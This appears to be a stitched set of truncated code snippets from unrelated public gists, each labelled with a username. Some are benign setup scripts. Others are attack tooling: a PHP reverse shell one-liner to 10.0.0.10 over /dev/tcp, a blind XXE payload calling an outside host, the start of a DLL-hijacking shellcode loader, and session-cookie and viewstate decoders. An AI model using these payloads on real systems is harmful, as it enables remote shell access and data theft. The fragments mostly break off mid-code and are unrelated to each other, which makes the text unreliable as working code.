andrewgross

# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import base64
import json
import logging

from urlparse import parse_qs

import requests

Tosyn

#!/bin/bash

# PhalconPhp with PHP7 installation on ubuntu:16.04

sudo apt-get update 

sudo apt-get install -y php7.0-fpm \
    	php7.0-cli \
    	php7.0-curl \
    	php7.0-gd \

babldev

def decode_flask_cookie(secret_key, cookie_str):
    import hashlib
    from itsdangerous import URLSafeTimedSerializer
    from flask.sessions import TaggedJSONSerializer
    salt = 'cookie-session'
    serializer = TaggedJSONSerializer()
    signer_kwargs = {
        'key_derivation': 'hmac',
        'digest_method': hashlib.sha1
    }

Manouchehri

0x0 16 15 SAMSUNG_SSD_BIN
0x10 20 19 0.01STH00001OEM_GEN
0x2c 14 13 2013121819:43
0x579 8 7  pG\vIHh
0x59b 16 15  pG\a pG\b pG\t pG
0x5ae 7 6 P \nJQh
0x689 5 4  pG@
0x6b2 5 4 LF3H
0x6f8 5 4 "H80
0x750 7 6 H\a\fI\f9

cutaway

#!/usr/bin/env python
 
"""
Name:    extract_java_server_faces_viewstate
Purpose: Extract and parse the Java Server Faces viewstate
Date:    20150620
Author:  Don C. Weber (@cutaway) of InGuardians, Inc.

Resources:
    http://wiki.apache.org/myfaces/Secure_Your_Application

fideloper

import os
import base64
import json
from Crypto.Cipher import AES
from phpserialize import loads


def decrypt(payload):
    data = json.loads(base64.b64decode(payload))

securitytube

//   Dll Hijacking via Thread Creation 
// Author - Vivek Ramachandran 
//  Learn Pentesting Online --  http://PentesterAcademy.com/topics and http://SecurityTube-Training.com 
// Free Infosec Videos --  http://SecurityTube.net 



#include <windows.h>
#define SHELLCODELEN	2048

staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

rshipp

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

natewalck

#!/usr/bin/python

import argparse
 
def main():

    parser = argparse.ArgumentParser(description="Runs the script")
    subparsers = parser.add_subparsers(help='Specify secondary options')
    secondary_parser = subparsers.add_parser('secondary', help='secondary options')